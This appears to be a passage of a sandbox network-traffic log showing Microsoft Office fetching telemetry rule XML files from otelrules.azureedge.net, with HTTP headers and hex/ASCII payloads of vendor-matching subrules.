2024-11-18 01:34:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:21 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:21 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013421Z-16547b76f7fl5zvnhC1DFWtk9g00000003k0000000008mqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 01:34:21 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:21 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013421Z-1866b5c5fbbfkdfghC1DFW4sv4000000044000000000kxvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013421Z-16547b76f7f6nr89hC1DFWz7ug00000001b000000000qfqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:21 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:21 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013421Z-16547b76f7fd4rc5hC1DFWkzhw00000005b000000000khkd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:21 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 9563ae3e-601e-0084-6b86-366b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013422Z-164f84587bfn7ppchC1DFW0meg00000004c000000000qdw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:22 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:22 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 583adeae-001e-005a-5789-38c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013422Z-164f84587bft9l9khC1DFW32rc0000000560000000003vad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 01:34:22 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:22 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:22 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013422Z-164f84587bfghdt4hC1DFWu5nn00000004ug00000000m2kz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:22 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:22 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:22 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bd5538f5-501e-008f-71ad-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013422Z-164f84587bfghdt4hC1DFWu5nn00000004zg000000002x6v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:22 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:22 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:22 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013422Z-164f84587bft9l9khC1DFW32rc000000052g00000000c7ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:22 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:23 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 04c36cdc-401e-002a-6f4a-38c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013423Z-164f84587bffvwt9hC1DFW2ktw00000002w0000000008ndk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013423Z-16547b76f7fl5zvnhC1DFWtk9g00000003dg00000000tb1q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:23 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
